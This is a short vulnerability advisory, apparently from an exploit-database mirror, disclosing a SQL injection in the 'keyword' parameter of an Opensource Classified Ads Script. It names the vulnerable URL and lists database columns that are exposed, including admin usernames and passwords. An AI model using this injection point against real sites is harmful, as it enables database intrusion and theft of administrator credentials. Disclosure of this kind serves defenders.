发布 2017-03-29 漏洞条目

Opensource Classified Ads Script – ‘keyword’ SQL Injection

Exploit Source

# # # # #

# Exploit Title: Opensource Classified Ads Script - SQL Injection

# Google Dork: N/A

# Date: 29.03.2017

# Vendor Homepage: http://www.2daybiz.com/

# Software: http://www.professionalclassifiedscript.com/downloads/opensource-classified-ads-script-2/

# Demo: http://198.38.86.159/~classic/

# Version: N/A

# Tested on: Win7 x64, Kali Linux x64

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Mail : ihsan[@]ihsan[.]net

# #ihsansencan

# # # # #

# SQL Injection/Exploit :

# http://localhost/[PATH]/advance_result.php?keyword=[SQL]&adv_search

# class_2daydiscount :d_hotlisting

# class_admin :adm_id

# class_admin :adm_username

# class_admin :adm_password

# class_admin :adm_lastvisit

# class_category :c_id

# # # # #

相关漏洞条目